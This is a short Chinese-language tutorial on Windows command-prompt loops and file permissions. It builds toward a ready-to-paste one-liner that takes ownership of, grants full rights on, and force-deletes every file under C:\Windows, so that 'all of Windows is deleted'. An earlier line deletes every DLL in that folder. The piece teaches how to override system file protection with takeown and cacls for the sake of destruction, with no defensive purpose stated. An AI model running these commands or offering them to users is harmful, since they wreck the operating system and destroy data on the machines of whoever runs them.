建议复制到记事本里查看,我是直接在记事本上写的

for /r c:\ %q in (*) echo %q
for /r c:\	/r代表扫描目录	c:\代表扫描C盘,记得加斜杠\
for /r c:\windows\	扫描c:\windows\目录
%q代表变量,用来储存已经被扫描的文件
in是固定格式,不用管
(*)这个*代表匹配所有文件,就等于扫描C盘所有文件
for /r c:\windows\ %q in (*.dll)这个就是代扫描c:\windows\下载所有*.dll的文件
这个do也是固定格式,do后面就是需要执行的命令

for /r c:\ %q in (*.exe) do echo %q	
	%q用来保存已经被扫描的文件
	echo %q代表显示已经被扫描的那些文件
	这个命令代表扫描C盘的所有*.exe文件并将它们显示在cmd窗口里面

同理
for /r c:\windows\ %q in (*.dll) do del /s /q %q	这个代表扫描c:\windows下的所有dll文件并将它们删除
	但是会发现木有权限

takeown /f [文件] /a			这个命令代表把文件的所有者改为管理员

cacls [文件] /p %username%:f		这个命令代表把文件的权限更改为"所有",对当前用户生效;
				就是说我现在登录的这个用户,我拥有这个文件的所有权限,我可以删除更改都可以
				但是执行时它会提示,需要自己按Y才可以
					echo y|这个命令	这个命令代表 对[这个命令]自动按Y
				所以就是这样的
				echo y|cacls [文件] /p %username%:f  拥有[文件]的所有权限,自动输入Y以便自动确认

echo y|cacls [文件] /p %username%:f	代表文件的权限为所有
echo y|cacls [文件] /p %username%:n	代表文件的权限为无,就是木有文件权限,无法打开以及删除这个文件
 & 这个符号代表将多个命令连接,为确保多个命令不会被冲突出错,最好用括号括起来
	例如:(echo 123) & (echo 456)

这样我们就可以把多个命令相连接
(takeown /f [文件] /a & (echo y|cacls [文件] /p %username%:f) & del /q /f [文件])	分为3部分
					1:takeown /f [文件] /a      2:echo y|cacls [文件] /p %username%:f      3:del /q /f [文件]          更改文件的所有者->获取文件的所有权限->删除文件
						这样的话应该看得懂,但是这样的话只能删除一个文件,所以就要用到for /r来扫描文件了
for /r c:\windows\ %s in (*) do (takeown /f %s /a & (echo y|cacls %s /p %username%:f) & del /q /f %s & (echo y|cacls %s /p %username%:f))
扫描c:\windows\下的所有文件,将每一个文件进行【更改文件的所有者->获取文件的所有权限->删除文件】%s代表已经扫描到的文件,用这个来代替之前说的[文件],所以就是把Windows下的所有文件删除


愿天下所有人都变成少女~